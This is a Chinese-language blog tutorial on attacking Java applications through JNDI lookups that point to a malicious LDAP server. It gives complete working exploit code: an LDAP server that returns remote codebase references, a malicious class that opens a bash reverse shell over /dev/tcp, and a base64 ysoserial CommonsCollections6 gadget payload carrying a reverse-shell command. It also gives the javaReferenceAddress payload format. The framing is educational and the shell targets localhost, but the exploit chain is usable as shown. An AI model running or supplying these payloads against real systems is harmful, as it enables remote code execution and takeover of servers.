这篇文章将为大家详细讲解有关JNDI中如何进行LDAP学习,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
基础知识
在进入JNDI中LDAP学习前,先了解下其中涉及的相关知识
JAVA模型
-
序列化对象
-
JNDI References
JNDI References
是类javax.naming.Reference
的Java对象。它由有关所引用对象的类信息和地址的有序列表组成。Reference
还包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置。在目录中使用以下属性:
objectClass: javaNamingReference javaClassName: Records the class name of the serialized object so that applications can determined class information without having to first deserialize the object. javaClassNames: Additional class information about the serialized object. javaCodebase: Location of the class definitions needed to instantiate the factory class. javaReferenceAddress: Multivalued optional attribute for storing reference addresses. javaFactory: Optional attribute for storing the object factory's fully qualified class name.
-
Marshalled 对象
-
Remote Location
LDAP
LDAP(Lightweight Directory Access Protocol)轻量目录访问协议
LDAP 是什么
先简单描述下LDAP的基本概念,主要用于访问目录服务 用户进行连接、查询、更新远程服务器上的目录。
其中LDAP模型主要分布如下:
-
信息模型 信息模型主要是 条目 – Entry、属性 – Attribute、值 – value Entry:目录树中的一个节点,每一个Entry描述了一个真实对象,即
object class
-
命名模型
-
功能模型
-
安全模型 ……这些基础可以看看LDAP的官方文档
LDAP 攻击向量
LDAP Server
在利用前 可以先搭建一个ldap server,代码来自mbechler
,稍微改动了下
package org.jndildap; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; /** * LDAP server implementation returning JNDI references * * @author mbechler * */ public class LdapSer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { int port = 1389; String url = "http://127.0.0.1/#Th4windObject"; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "th4wind"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
-
LDAP存储JAVA对象的方式如下:
-
Java 序列化
-
JDNI的References
-
Marshalled对象
-
Remote Location
-
其中可进行配合利用方式如下:
-
利用Java序列化
-
利用JDNI的References对象引用
LDAP可以为其中存储的JAVA对象提供多种属性,具体可参照官方说明,部分如下
其中在利用JNDI References时,此处主要使用的是javaCodebase
指定远程url,在该url中包含恶意class,在JNDI中进行反序列化触发。
在直接利用Java 序列化方法时,是利用javaSerializedData
属性,当该属性的value
值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发。
JNDI Reference
攻击流程 参照如下:借用下BlackHat2016
的图
1、攻击者提供一个LDAP
绝对路径的url并赋予到可利用的JNDI
的lookup
方法中 这里直接部署一个LDAP Client
模拟被攻击服务器应用即如下所示:
String uri = "ldap://127.0.0.1:1389/Th4windObject"; Context ctx = new InitialContext(); ctx.lookup(uri);
2、服务端访问攻击者构造或可控的LDAP Server
端,并请求到恶意的JNDI Reference
-
构造
JNDI Reference
我的理解是此处的JNDI Reference
即为jndiReferenceEntry
根据前面提到的信息模型,这里的 构造的JNDI Reference
即构造Entry
即服务端代码中的
Entry e = new Entry(base); ... ... e.addAttribute("javaClassName", "th4wind"); e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef());
-
请求
JNDI Reference
-
在被攻击服务端中请求
JNDI Reference
用lookup
即可直接请求上,但我们这里还是跟下看下在lookup中哪部分代码请求并利用
在lookup 获取Entry后,一路传参 到c_lookup:
在doSearchOnce
中发起对传入的url
发起请求,获取对应的Entry
同样在该c_lookup
中判断javaclassname
、javaNamingReference
不为空的时候进行decodeObject
处理
在decodeObject
中重新生成一个reference
,后续通过Naming Manager
进行载入执行恶意class
文件,剩下这部分内容是JNDI的调用逻辑了,跟LDAP关系不大,这里不多做讨论,大概流程图如下:
3、服务端decode
请求到的恶意JNDI Reference
4、服务端从攻击者构造的恶意Server
请求并实例化Factory class
即此处开放的http请求下的Th4windObject
import java.lang.Runtime; import java.lang.Process; public class Th4windObject { public Th4windObject(){ try{ Runtime rt = Runtime.getRuntime(); //Runtime.getRuntime().exec("bash -i >& /dev/tcp/127.0.0.1/8550 0>&1"); //String[] commands = {"/bin/bash", "-c", "'/bin/bash -i >& /dev/tcp/127.0.0.1/8550 0>&1'"}; String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8550;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process pc = rt.exec(commands); //System.out.println(commands); pc.waitFor(); }catch(Exception e){ e.printStackTrace(); System.out.println("2222"); } } public static void main(String[] argv){ Th4windObject e = new Th4windObject(); } }
5、执行payloads
Remote Location
该方法不常用,此处暂不多做讨论
Serialized Object
JNDI对通过LDAP传输的Entry属性中的 序列化处理有两处
-
一处在于前面所说的
decodeObject
对javaSerializedData
属性的处理 -
一处在于
decodeReference
函数在对普通的Reference
还原的基础上,还可以进一步对RefAddress
做还原处理
javaSerializedData
前文有提到,根据javaSerializedData
不为空的情况,decodeObject
会对对应的字段进行反序列化。即此处在恶意LDAP Server端中增加该属性
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm 9ybWVyO3hwc3IAOm 9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh3kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm 9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AEEvYmluL2Jhc2ggLWMgYmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMjcuMC 4wLjEvODU1MDwmMXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh5") );
这里的payload出于偷懒,直接用ysoserial.jar
利用CommonsCollections6
生成 此处的CommonsCollections6
即前面所说存在的本地反序列化漏洞利用链,所以在调用的LDAPClient
本地得导入commons-collections
,我这里使用的是3.2.1版本
通过该利用方法可以不用恶意web服务,攻击示意图如下:即
-
攻击者提供一个LDAP绝对路径的url并赋予到可利用的JNDI的
lookup
方法中 -
服务端访问攻击者构造或可控的LDAP Server端,并请求到恶意的
JNDI Reference
-
服务端 decode请求到的恶意
JNDI Reference
并在decode中进行反序列化处理
调用链如下:
javaReferenceAddress
先来一张调用链的图
在该调用方式中,该可用于反序列化的属性为javaReferenceAddress
,payload如下:
e.addAttribute("javaReferenceAddress", "$1$String$$"+new BASE64Encoder().encode(serialized));
在Reference decodeReference
对该属性进行处理时对处理字符串有条件要求: 首先要求javaSerializedData
为空其次要求javaRemoteLocation
为空
在进入decodeReference
中进行字符串处理要求如下: 必备属性:
javaClassName javaReferenceAddress
校验javafactory
是否存在
在对javaReferenceAddress
处理流程如下:
-
第一个字符为分隔符;
-
第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型,也就是这个位置必须是数字;
-
第二个分隔符与第三个分隔符之间,表示type类型;
-
检测第三个分隔符后是否有第四个分隔符即双分隔符的形式,是则进入反序列化的操作;
-
序列化数据用base64编码,所以在序列化前会进行一次base64解码。
关于JNDI中如何进行LDAP学习就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
原创文章,作者:506227337,如若转载,请注明出处:https://blog.ytso.com/221628.html